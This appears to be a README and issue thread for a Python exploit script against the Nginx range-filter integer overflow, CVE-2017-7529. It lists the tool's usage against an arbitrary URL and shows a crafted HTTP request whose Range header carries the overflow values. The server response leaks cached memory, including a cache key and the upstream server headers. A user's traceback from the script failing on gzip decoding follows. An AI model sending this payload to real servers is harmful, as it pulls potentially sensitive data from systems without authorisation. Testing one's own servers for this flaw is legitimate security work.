Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
Make sure requests is installed
usage: python CVE_2017_7529.py [-h] url
Nginx - Remote Integer Overflow Vulnerability - CVE 2017-7529
positional arguments:
url URL to test
optional arguments:
-h, --help show this help message and exit
GET /proxy/demo.png HTTP/1.1
Accept-Encoding: identity
Range: bytes=-17208,-9223372036854758792
Host: 127.0.0.1:8000
Connection: close
User-Agent: Python-urllib/2.7
HTTP/1.1 206 Partial Content
Server: nginx/1.13.1
Date: Mon, 14 Aug 2017 05:53:54 GMT
Content-Type: multipart/byteranges; boundary=00000000000000000002
Connection: close
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
X-Proxy-Cache: HIT
--00000000000000000002
Content-Type: image/png
Content-Range: bytes -623-16584/16585
.......<.Y......................lY....r:.Y.....@.`..v.q.."40c9-5547a060fdf00".................................................................................................................................................................................................................................................................
KEY: httpGET127.0.0.1/proxy/demo.png
HTTP/1.1 200 OK
Date: Mon, 14 Aug 2017 05:51:46 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
Accept-Ranges: bytes
Content-Length: 16585
Connection: close
Content-Type: image/png
i think this would do https://stackoverflow.com/a/63750034
but im not that good at python
tested on both py2 & py3 the same error
Traceback (most recent call last):
File "CVE_2017_7529.py", line 75, in
exploit(args.url)
File "CVE_2017_7529.py", line 47, in exploit
response = send_request(url, headers={"Range": content_length})
File "CVE_2017_7529.py", line 28, in send_request
response = requests.get(url, **kwargs)
File "/home/devgen/.local/lib/python2.7/site-packages/requests/api.py", line 76, in get
return request('get', url, params=params, **kwargs)
File "/home/devgen/.local/lib/python2.7/site-packages/requests/api.py", line 61, in request
return session.request(method=method, url=url, **kwargs)
File "/home/devgen/.local/lib/python2.7/site-packages/requests/sessions.py", line 542, in request
resp = self.send(prep, **send_kwargs)
File "/home/devgen/.local/lib/python2.7/site-packages/requests/sessions.py", line 697, in send
r.content
File "/home/devgen/.local/lib/python2.7/site-packages/requests/models.py", line 831, in content
self.content = b''.join(self.iter_content(CONTENT_CHUNK_SIZE)) or b''
File "/home/devgen/.local/lib/python2.7/site-packages/requests/models.py", line 758, in generate
raise ContentDecodingError(e)
requests.exceptions.ContentDecodingError: ('Received response with content-encoding: gzip, but failed to decode it.', error('Error -3 while decompressing: incorrect header check',))